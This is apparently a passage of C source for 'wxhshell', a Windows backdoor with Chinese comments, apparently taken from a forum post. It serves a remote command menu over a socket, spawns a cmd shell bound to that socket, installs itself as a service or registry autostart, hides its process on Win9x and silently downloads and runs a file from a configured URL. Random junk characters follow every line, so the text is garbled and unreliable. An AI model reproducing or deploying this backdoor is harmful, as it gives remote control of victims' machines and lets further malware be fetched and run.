  else &@+; ]t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )3  
  } 4NIfQYC.  
  else { =B1!em|  
;Lu|fQ#u*  
    switch(cmd[0]) { \BW(c)Q  
  QR4o j  
  // 帮助 f`e.c_n(  
  case '?': { >Mn.|:DF]&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HFOp4  
    break; ^Tx1y[hw$  
  } Z/x~:u_  
  // 安装 bkTj Q  
  case 'i': { Hw? J1#1IE  
    if(Install()) >B0S5:S$W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??PpHB J')  
    else FmPF7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H'2 =yhtVh  
    break; ^E^:=Q?'_  
    } \z 'noc  
  // 卸载 yr?\YKV)I  
  case 'r': { 566EMy|  
    if(Uninstall()) -/X-.#}-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uvL|T48  
    else 0/$sr;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S%2qB;uw  
    break; UpILr\3U  
    } "'Ik{wGc  
  // 显示 wxhshell 所在路径 z5I<,[`  
  case 'p': { XJ"9D#"a>  
    char svExeFile[MAX_PATH]; V]2Q92  
    strcpy(svExeFile,"\n\r"); Dts:$PlCk  
      strcat(svExeFile,ExeFile); uw]Jm"=w  
        send(wsh,svExeFile,strlen(svExeFile),0); ryN-d%t?  
    break; /Q-!><riD  
    } PLD!BD  
  // 重启 )8;'fE[p}  
  case 'b': { bHCd|4e,2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vq\6c  
    if(Boot(REBOOT))  (c"!0v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IF=rD-x  
    else { N@g+51ye  
    closesocket(wsh); '5%DKz  
    ExitThread(0); -nW-I\d%  
    } i!NGX  
    break; :.<&Y=^  
    } L@wnzt  
  // 关机 ag6S"IXh  
  case 'd': { 'py k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #!2gxm;g  
    if(Boot(SHUTDOWN)) (w*$~p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?~!h N,h  
    else { &m`  
    closesocket(wsh); 4[?Q*f!  
    ExitThread(0); ep5aBrN]"  
    } L>B0%TP^  
    break; GCrN:+E0FJ  
    } N`M5`=.  
  // 获取shell X*T9`]l6  
  case 's': { &("?6%GC  
    CmdShell(wsh); &7 ,wdG  
    closesocket(wsh); T*oH tpFj#  
    ExitThread(0); hRP0Djc  
    break; ,#crtX  
  } A)xI. Q6  
  // 退出 .+y#7-#6  
  case 'x': { *)`:Nm~y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qcK)J/K"  
    CloseIt(wsh); ^/c|s!U^  
    break; U5Y*xm<  
    } fqcyCu7Ep  
  // 离开 hm& ~6rB  
  case 'q': { ZrTq)BZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); thh, V   
    closesocket(wsh); \sk,3b-&'  
    WSACleanup(); [-l^,,E  
    exit(1); Uc4r  
    break; J(Bn  n  
        } eu# ||  
  } m'pihFR:f  
  } \ .:CL?m#  
4ngiad6bR  
  // 提示信息 Ct B> s7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >@t]M`#&h  
} 3yTBkFI!  
  } RKe19l_V  
E(TY%wO  
  return; U}UIbJD*=  
} ?f%@8%px  
(k[<>$hL*  
// shell模块句柄 eN/Jb;W  
int CmdShell(SOCKET sock) IcA]<}0!"v  
{ r@_;L>  
STARTUPINFO si; 8'zwy d3  
ZeroMemory(&si,sizeof(si)); c6e?)(V>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _%t w#cM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `q F:rQ  
PROCESS_INFORMATION ProcessInfo; lU\|F5O@#  
char cmdline[]="cmd"; 9qw~]W~Nm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^!A{ 4NV  
  return 0; }Iu6]?|'  
} }RD,JgmV  
G",+jR]  
// 自身启动模式 D,NjDIG8  
int StartFromService(void) rP*?a~<  
{ *6uiOtH  
typedef struct Fr3Q"(  
{ j*CnnM#n  
  DWORD ExitStatus; #oHHKl=M  
  DWORD PebBaseAddress; UOa{J|k>h  
  DWORD AffinityMask; Q} / :  
  DWORD BasePriority; v'|Dj^3[  
  ULONG UniqueProcessId; er97&5  
  ULONG InheritedFromUniqueProcessId; b7\nCRY  
}   PROCESS_BASIC_INFORMATION; 3c6<JW  
le*pd+>j  
PROCNTQSIP NtQueryInformationProcess; W] RxRdY6[  
d@C93VYp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k(T/yd rw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RlpW)\{j?  
?A]:`l_"  
  HANDLE             hProcess; ](%-5G1<  
  PROCESS_BASIC_INFORMATION pbi; r1,RloyZS  
,#s}nJ4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9D&ocV3QV  
  if(NULL == hInst ) return 0; grv 3aa@  
xNT[((  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Y-7B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k+_pj k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uHy^ Bq  
!W8$-iq  
  if (!NtQueryInformationProcess) return 0; dD#A.C,Rz  
3Y>!e#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lx%<oC+M  
  if(!hProcess) return 0; d kPfdK}G  
*`|F?wF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ).xQ~A\.  
v\Q${6kEtx  
  CloseHandle(hProcess); (d@lG*K  
s$mcIMqs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c\n\gQ:LQ  
if(hProcess==NULL) return 0; `2 {x 8A  
tM~R?9OaJ  
HMODULE hMod; ,*Sj7qb#  
char procName[255]; `^RpT]S  
unsigned long cbNeeded; D(yRI  
Uh*V>HA#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B1 'Ds  
&g|-3)A  
  CloseHandle(hProcess); {D$#m  
sY=$\hj  
if(strstr(procName,"services")) return 1; // 以服务启动 R\)pW9)  
CmM K\R.  
  return 0; // 注册表启动 _8kZ>w(L  
} z0a=A:+/  
F $B _;G  
// 主模块 =! /S |  
int StartWxhshell(LPSTR lpCmdLine) Ow<=K:^  
{ $5:j" )$,  
  SOCKET wsl; waldLb>7D  
BOOL val=TRUE; k/cQJz  
  int port=0; ?PLf+S  
  struct sockaddr_in door; Hcuvu[)T"  
`}"*i_0-5'  
  if(wscfg.ws_autoins) Install(); ;ZB[g78%R%  
UZv^3_,qz  
port=atoi(lpCmdLine); IrJCZsk  
M~=9ym  
if(port<=0) port=wscfg.ws_port; }>>BKn   
V{ECDg P  
  WSADATA data; 1%t9ic  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d XrLeoK  
"\Z.YZUa\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *RivZ c9;P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G-xW&wC-  
  door.sin_family = AF_INET; u05Zg*.[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t*~V]wZ  
  door.sin_port = htons(port); Fep#Pw1  
+,f|Y6L<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]^p6db zWe  
closesocket(wsl); d A[I  
return 1; hgLwxJu  
} V!(Ty%7  
<Zl}u:(w  
  if(listen(wsl,2) == INVALID_SOCKET) { >d&B:  
closesocket(wsl); N!{('po  
return 1; gYw4YP0Gz  
} z`y!C3w<  
  Wxhshell(wsl); ilHZx2 k  
  WSACleanup(); EE=!Y NP]  
a)/!ifJ;  
return 0; d@JjqE[  
h%9#~gJ})  
} Hcq?7_)  
5L'X3g  
// 以NT服务方式启动 s,)Z8H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9s7sn*aB#5  
{ *shE-w ;C  
DWORD   status = 0; ssUWr=mD  
  DWORD   specificError = 0xfffffff; N*gnwrP{  
)OS^tG[=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~*@ UQ9*p#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >/9f>d?w^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $i;%n1VBg  
  serviceStatus.dwWin32ExitCode     = 0; 1 \:5ow&a  
  serviceStatus.dwServiceSpecificExitCode = 0; V)mitRaV  
  serviceStatus.dwCheckPoint       = 0; Vf:/Kokq  
  serviceStatus.dwWaitHint       = 0; |VQ17*4ff1  
4"U/T 1&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^"STM'Zh  
  if (hServiceStatusHandle==0) return; ZF!cXo7d  
7VduewKX8  
status = GetLastError(); slaYr`u  
  if (status!=NO_ERROR) ,4M7:=gf  
{ Nr8#/H2f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ (<C{  
    serviceStatus.dwCheckPoint       = 0; Q}C)az  
    serviceStatus.dwWaitHint       = 0; :c)N"EJlI2  
    serviceStatus.dwWin32ExitCode     = status; Fuq ;4UcbL  
    serviceStatus.dwServiceSpecificExitCode = specificError; dj>zy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?S9? ?y/  
    return; fP# !ywgr%  
  } +"Flu.+['  
""q76cx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 589hfET  
  serviceStatus.dwCheckPoint       = 0; GCm(3%{V%(  
  serviceStatus.dwWaitHint       = 0; f9ux+XQk9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k+b!Lw!L  
} jwhc;y  
jMr[ UZ  
// 处理NT服务事件,比如:启动、停止 |C"(K-do  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =z#6mSx|W  
{ i[_B~/_  
switch(fdwControl) '-c *S]:r  
{ tqbYrF)  
case SERVICE_CONTROL_STOP: -|V1A[  
  serviceStatus.dwWin32ExitCode = 0; imw,Nb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "%]<Co<S  
  serviceStatus.dwCheckPoint   = 0; ?"04u*u3  
  serviceStatus.dwWaitHint     = 0; |iSd<  
  { Z$jqB~=^e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); In13crr4!  
  } x# MMrV&M  
  return; m'HAt~  
case SERVICE_CONTROL_PAUSE: |z1er"zR)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _[F(8Q x"  
  break; R `K1L!`3  
case SERVICE_CONTROL_CONTINUE: cH>@ZFTF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +guCTGD:  
  break; [QUaC3l)  
case SERVICE_CONTROL_INTERROGATE: k6eh$*!  
  break; [~_)]"pU  
}; .Nk'yow  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7]sRHX0o%  
} JX!z,X?r4  
&FrUj>i  
// 标准应用程序主函数 f[1 s4Dp3-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R|D%1@i]  
{ !U::kr=t  
y[`>,?ns5  
// 获取操作系统版本  N$ oQK(  
OsIsNt=GetOsVer(); _\&v A5-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mbm'cM&}  
!#&`1cYX  
  // 从命令行安装 xu%_Zt2/?j  
  if(strpbrk(lpCmdLine,"iI")) Install(); /tdRUX  
(}B3df  
  // 下载执行文件 E)>.2{]C>  
if(wscfg.ws_downexe) { *RYok{w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^O6eFD U  
  WinExec(wscfg.ws_filenam,SW_HIDE); xqSoE[<v  
} ,F%2'W  
S$N!Dj@e;  
if(!OsIsNt) { Fv_B(a  
// 如果时win9x,隐藏进程并且设置为注册表启动 !}lCwV  
HideProc(); s@ 02 ?+/  
StartWxhshell(lpCmdLine); MoZ8A6e?B  
} QJ\+u  
else Z1}@N/>>  
  if(StartFromService()) iWGn4p'  
  // 以服务方式启动 o[^nmHrM2  
  StartServiceCtrlDispatcher(DispatchTable); ~Vt?'v20@  
else :%[mc-6.  
  // 普通方式启动 Y~TD)c=  
  StartWxhshell(lpCmdLine); '2z1$zst,#  
^V}c8 P|  
return 0; =O%Hf bx  
}
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只看该作者 1 发表于: 2006-10-10
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